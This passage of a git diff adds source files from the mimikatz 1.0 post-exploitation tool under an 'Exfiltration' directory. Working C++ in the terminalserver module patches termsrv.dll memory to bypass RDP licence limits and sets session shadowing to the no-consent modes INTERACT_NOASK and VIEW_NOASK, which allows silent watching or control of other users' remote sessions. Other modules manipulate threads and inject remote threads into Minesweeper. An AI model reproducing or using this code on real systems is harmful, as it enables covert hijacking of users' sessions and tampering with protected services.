+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include <iostream>
+
+class mod_mimikatz_system
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+ static bool user(vector<wstring> * arguments);
+ static bool computer(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp
new file mode 100644
index 0000000..9a071b1
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp
@@ -0,0 +1,291 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_terminalserver.h"
+#include "..\global.h"
+
+// http://msdn.microsoft.com/library/aa383464.aspx
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_terminalserver::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau à distance pour dépasser 2 connexions simultanées"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)"));
+ return monVector;
+}
+
+bool mod_mimikatz_terminalserver::sessions(vector<wstring> * arguments)
+{
+ vector<mod_ts::KIWI_WTS_SESSION_INFO> mesSessions;
+
+ if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL)))
+ {
+ (*outputStream) << L"SessId\tEtat\tstrEtat" << endl;
+ for(vector<mod_ts::KIWI_WTS_SESSION_INFO>::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' <<
+ setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' <<
+ maSession->sessionName <<
+ endl;
+ }
+ }
+ else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
+ return true;
+}
+
+
+bool mod_mimikatz_terminalserver::processes(vector<wstring> * arguments)
+{
+ vector<mod_ts::KIWI_WTS_PROCESS_INFO> mesProcess;
+
+ if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL)))
+ {
+ (*outputStream) << L"PID\tSessId\tUtilisateur" << endl;
+ for(vector<mod_ts::KIWI_WTS_PROCESS_INFO>::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' <<
+ setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' <<
+ monProcess->processName <<
+ endl;
+ }
+ }
+ else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
+ return true;
+}
+
+bool mod_mimikatz_terminalserver::viewshadow(vector<wstring> * arguments)
+{
+ DWORD session = 0;
+ PDWORD ptrSession = NULL;
+
+ if(arguments->size() == 1)
+ {
+ wstringstream resultat(arguments->front());
+ resultat >> session;
+ ptrSession = &session;
+ }
+
+ listAndOrModifySession(ptrSession);
+ return true;
+}
+
+bool mod_mimikatz_terminalserver::modifyshadow(vector<wstring> * arguments)
+{
+ DWORD session = 0;
+ PDWORD ptrSession = NULL;
+
+ wstring strState;
+ DWORD newState = 0;
+
+ if(arguments->size() == 1)
+ {
+ strState.assign(arguments->front());
+ }
+ else if(arguments->size() == 2)
+ {
+ wstringstream resultat(arguments->front());
+ resultat >> session;
+ ptrSession = &session;
+
+ strState.assign(arguments->back());
+ }
+
+ if(!strState.empty())
+ {
+ bool strError = false;
+ if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0;
+ else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1;
+ else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2;
+ else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3;
+ else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4;
+ else strError = true;
+
+ if(!strError)
+ listAndOrModifySession(ptrSession, &newState);
+ else
+ (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl;
+ }
+
+ return true;
+}
+
+bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState)
+{
+ bool reussite = false;
+
+ vector<mod_patch::OS> mesOS;
+ mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
+ mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
+ mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
+ mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64);
+
+ if(mod_patch::checkVersion(&mesOS))
+ {
+#ifdef _M_X64
+ BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22};
+ long offsetToWin = -4;
+#elif defined _M_IX86
+ BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15};
+ long offsetToWin = -6;
+#endif
+ mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
+ wstring serviceName = L"TermService";
+ wstring moduleName = L"termsrv.dll";
+
+ if(mod_service::getUniqueForName(&monService, &serviceName))
+ {
+ mod_process::KIWI_MODULEENTRY32 monModule;
+ if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId))
+ {
+ PBYTE baseAddr = monModule.modBaseAddr;
+ DWORD taille = monModule.modBaseSize;
+
+ if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId))
+ {
+ PBYTE addrPattern = NULL;
+ if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle))
+ {
+ PBYTE addrWinstationListHead = NULL;
+
+ bool resInterm = false;
+
+#ifdef _M_X64
+ long offSet = 0;
+ resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&offSet), sizeof(long), processHandle);
+ addrWinstationListHead = addrPattern + offSet;
+#elif defined _M_IX86
+ resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&addrWinstationListHead), sizeof(PBYTE), processHandle);
+#endif
+ if(resInterm)
+ {
+ PBYTE addrWinstation = addrWinstationListHead;
+ do
+ {
+ if(mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead)
+ {
+ KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION();
+ if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(maSession), sizeof(KIWI_TS_SESSION), processHandle))
+ {
+ if((!id) || (maSession->id == *id))
+ {
+ (*outputStream) << L"@Winstation : " << addrWinstation << endl;
+
+ (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl;
+ (*outputStream) << L"\tid : " << maSession->id << endl;
+ (*outputStream) << L"\tname : " << maSession->name << endl;
+ (*outputStream) << L"\tsname : " << maSession->sname << endl;
+ (*outputStream) << L"\ttype : " << maSession->type << endl;
+ (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl;
+
+ if(newState)
+ {
+ reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle);
+ (*outputStream) << L"\t => " << *newState << L" (" <<shadowToType(*newState) << L") : " << (reussite ? L"OK" : L"KO") << endl;
+ }
+ (*outputStream) << endl;
+ }
+ }
+ delete maSession;
+ }
+ } while(addrWinstation != addrWinstationListHead);
+ }
+ else (*outputStream) << L"mod_memory::readMemory " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
+
+ CloseHandle(processHandle);
+ }
+ else (*outputStream) << L"OpenProcess " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueServiceForName : " << mod_system::getWinError() << endl;
+ }
+ return reussite;
+}
+
+bool mod_mimikatz_terminalserver::multirdp(vector<wstring> * arguments)
+{
+ BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f};
+ BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90};
+ LONG OFFS_WIN5_TestLicence = 3;
+#ifdef _M_X64
+ BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};
+ BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
+ BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
+ BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
+#elif defined _M_IX86
+ BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84};
+ BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90};
+ BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84};
+ BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
+#endif
+ LONG OFFS_WIN6_Query__CDefPolicy = 0;
+
+ BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0;
+ BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0;
+ LONG OFFS_PATC_Licence = 0;
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence);
+ PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence);
+ OFFS_PATC_Licence = OFFS_WIN5_TestLicence;
+ }
+ else
+ {
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy);
+ PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy);
+ }
+ else
+ {
+ PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy);
+ PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy);
+ }
+ OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy;
+ }
+
+ mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence);
+ return true;
+}
+
+wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow)
+{
+ switch(shadow)
+ {
+ case 0: return(L"DISABLE");
+ case 1: return(L"INTERACT (confirmation)");
+ case 2: return(L"INTERACT_NOASK");
+ case 3: return(L"VIEW (confirmation)");
+ case 4: return(L"VIEW_NOASK");
+ default: return(L"?");
+ }
+}
+
+wstring mod_mimikatz_terminalserver::stateToType(DWORD state)
+{
+ switch(state)
+ {
+ case WTSActive: return(L"Active");
+ case WTSConnected: return(L"Connected");
+ case WTSConnectQuery: return(L"ConnectQuery");
+ case WTSShadow: return(L"Shadow");
+ case WTSDisconnected: return(L"Disconnected");
+ case WTSIdle: return(L"Idle");
+ case WTSListen: return(L"Listen");
+ case WTSReset: return(L"Reset");
+ case WTSDown: return(L"Down");
+ case WTSInit: return(L"Init");
+
+ default: return(L"?");
+ }
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h
new file mode 100644
index 0000000..5af9492
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h
@@ -0,0 +1,55 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_ts.h"
+#include "mod_process.h"
+#include "mod_memory.h"
+#include "mod_patch.h"
+#include <iostream>
+
+class mod_mimikatz_terminalserver
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool sessions(vector<wstring> * arguments);
+ static bool processes(vector<wstring> * arguments);
+ static bool viewshadow(vector<wstring> * arguments);
+ static bool modifyshadow(vector<wstring> * arguments);
+ static bool multirdp(vector<wstring> * arguments);
+
+private:
+ static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL);
+ static wstring shadowToType(DWORD shadow);
+ static wstring stateToType(DWORD state);
+
+ enum KIWI_SHADOW_TYPE {
+ SHADOW_DISABLE = 0,
+ SHADOW_INTERACT = 1,
+ SHADOW_INTERACT_NOASK = 2,
+ SHADOW_VIEW = 3,
+ SHADOW_VIEW_NOASK = 4
+ };
+
+ typedef struct _KIWI_TS_SESSION {
+ PBYTE next;
+ PBYTE prev;
+ PBYTE unk1;
+ PBYTE refLock;
+ PBYTE unk2;
+ BYTE unk3[8];
+ DWORD id;
+ wchar_t name[32+1];
+ BYTE unk4[7434];
+ wchar_t sname[32+1];
+ wchar_t type[32+1];
+ BYTE unk5[1684];
+ DWORD shadow;
+ } KIWI_TS_SESSION, * PKIWI_TS_SESSION;
+
+};
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp
new file mode 100644
index 0000000..3a8edc0
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp
@@ -0,0 +1,138 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_thread.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_thread::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un thread"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture à un thread"));
+ return monVector;
+}
+
+bool mod_mimikatz_thread::list(vector<wstring> * arguments)
+{
+ vector<THREADENTRY32> * vectorThreads = new vector<THREADENTRY32>();
+
+ DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str());
+
+ if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId))
+ {
+ (*outputStream) << L"PID\tTID\tprTh" << endl;
+ for(vector<THREADENTRY32>::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++)
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri <<
+ endl;
+ }
+ else
+ (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl;
+
+ delete vectorThreads;
+ return true;
+}
+
+bool mod_mimikatz_thread::resume(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
+ {
+ DWORD threadId = _wtoi(monArgThread->c_str());
+
+ if(threadId != 0)
+ {
+ (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise ";
+
+ if(mod_thread::resume(threadId))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError();
+ }
+ else
+ (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide";
+
+ (*outputStream) << endl;
+ }
+
+ return true;
+}
+
+bool mod_mimikatz_thread::suspend(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
+ {
+ DWORD threadId = _wtoi(monArgThread->c_str());
+
+ if(threadId != 0)
+ {
+ (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension ";
+
+ if(mod_thread::suspend(threadId))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError();
+ }
+ else
+ (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide";
+
+ (*outputStream) << endl;
+ }
+
+ return true;
+}
+
+bool mod_mimikatz_thread::stop(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
+ {
+ DWORD threadId = _wtoi(monArgThread->c_str());
+
+ if(threadId != 0)
+ {
+ (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrêt ";
+
+ if(mod_thread::stop(threadId))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError();
+ }
+ else
+ (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide";
+
+ (*outputStream) << endl;
+ }
+
+ return true;
+}
+
+
+bool mod_mimikatz_thread::quit(vector<wstring> * arguments)
+{
+ for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++)
+ {
+ DWORD threadId = _wtoi(monArgThread->c_str());
+
+ if(threadId != 0)
+ {
+ (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture ";
+
+ if(mod_thread::quit(threadId))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError();
+ }
+ else
+ (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide";
+
+ (*outputStream) << endl;
+ }
+
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h
new file mode 100644
index 0000000..fd072bf
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h
@@ -0,0 +1,27 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_thread.h"
+#include <iostream>
+#include <iomanip>
+
+class mod_mimikatz_thread
+{
+private:
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool list(vector<wstring> * arguments);
+ //static bool start(vector<wstring> * arguments);
+ static bool suspend(vector<wstring> * arguments);
+ static bool resume(vector<wstring> * arguments);
+ static bool stop(vector<wstring> * arguments);
+ //static bool query(vector<wstring> * arguments);
+
+ static bool quit(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp
new file mode 100644
index 0000000..2f541f2
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp
@@ -0,0 +1,162 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_winmine.h"
+#include "..\global.h"
+
+char DISP_WINMINE[] = " 123456789*x*?F.";
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_winmine::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomètre du démineur en cours"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomètre du démineur en cours"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre une nouvelle partie"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au démineur"));
+ return monVector;
+}
+
+bool mod_mimikatz_winmine::infos(vector<wstring> * arguments)
+{
+ return infosOrCheat(arguments, false);
+}
+
+bool mod_mimikatz_winmine::cheat(vector<wstring> * arguments)
+{
+ return infosOrCheat(arguments, true);
+}
+
+bool mod_mimikatz_winmine::infosOrCheat(vector<wstring> * arguments, bool cheat)
+{
+ structHandleAndAddr * maStruct = new structHandleAndAddr();
+ if(giveHandleAndAddr(maStruct))
+ {
+ structMonDemineur monDemineur;
+ if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine))
+ {
+ (*outputStream) << L"Mines : " << monDemineur.nbMines << endl <<
+ L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl <<
+ L"Champ : " << endl << endl;
+
+ for (DWORD y = 1; y <= monDemineur.hauteur; y++)
+ {
+ if(!cheat)
+ (*outputStream) << L'\t';
+
+ for(DWORD x = 1; x <= monDemineur.longueur; x++)
+ {
+ BYTE laCase = monDemineur.tabMines[y][x];
+
+ if(!cheat)
+ (*outputStream) << L' ' << static_cast<wchar_t>((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]);
+ else if(laCase & 0x80)
+ monDemineur.tabMines[y][x] = 0x4e;
+ }
+ if(!cheat)
+ (*outputStream) << endl;
+ }
+
+ if(cheat)
+ {
+ if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine))
+ (*outputStream) << L"Patché ;)" << endl;
+
+ vector<mod_windows::KIWI_HWND_ENTRY> mesHWNDS;
+ if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine))
+ {
+ for(vector<mod_windows::KIWI_HWND_ENTRY>::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++)
+ {
+ InvalidateRect(monHWND->monHandle, NULL, TRUE);
+ UpdateWindow(monHWND->monHandle);
+ }
+ }
+ }
+ }
+ CloseHandle(maStruct->hWinmine);
+ }
+ delete maStruct;
+ return true;
+}
+
+
+bool mod_mimikatz_winmine::pause(vector<wstring> * arguments)
+{
+ startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause));
+ return true;
+}
+
+bool mod_mimikatz_winmine::reprise(vector<wstring> * arguments)
+{
+ startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume));
+ return true;
+}
+
+bool mod_mimikatz_winmine::start(vector<wstring> * arguments)
+{
+ startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart));
+ return true;
+}
+
+bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset)
+{
+ bool reussite = false;
+ structHandleAndAddr * maStruct = new structHandleAndAddr();
+ if(giveHandleAndAddr(maStruct))
+ {
+ if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast<PTHREAD_START_ROUTINE *>(reinterpret_cast<PBYTE>(maStruct) + structOffset), NULL, 0, NULL))
+ {
+ reussite = true;
+ WaitForSingleObject(hRemoteThread, INFINITE);
+ CloseHandle(hRemoteThread);
+ }
+ }
+ delete maStruct;
+ return reussite;
+}
+
+bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
+{
+ BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3};
+ BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1};
+ BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1};
+ BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05};
+
+ RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
+
+ wstring nomDemineur(L"winmine.exe");
+ mod_process::KIWI_PROCESSENTRY32 monDemineur;
+ if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
+ {
+ monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID;
+ mod_process::KIWI_MODULEENTRY32 monModule;
+ if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
+ {
+ PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
+ if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID))
+ {
+ if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine))
+ if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000
+ monHandleAndAddr->addrMonDemineur = reinterpret_cast<structMonDemineur *>(ptrTemp - sizeof(ULONG));
+
+ if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine))
+ monHandleAndAddr->addrPause = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11);
+
+ if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine))
+ monHandleAndAddr->addrResume = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 6);
+
+ if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine))
+ monHandleAndAddr->addrStart = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11);
+ }
+ }
+ }
+
+ bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume;
+
+ if(!reussite && monHandleAndAddr->hWinmine)
+ CloseHandle(monHandleAndAddr->hWinmine);
+
+ return reussite;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h
new file mode 100644
index 0000000..3870228
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h
@@ -0,0 +1,45 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
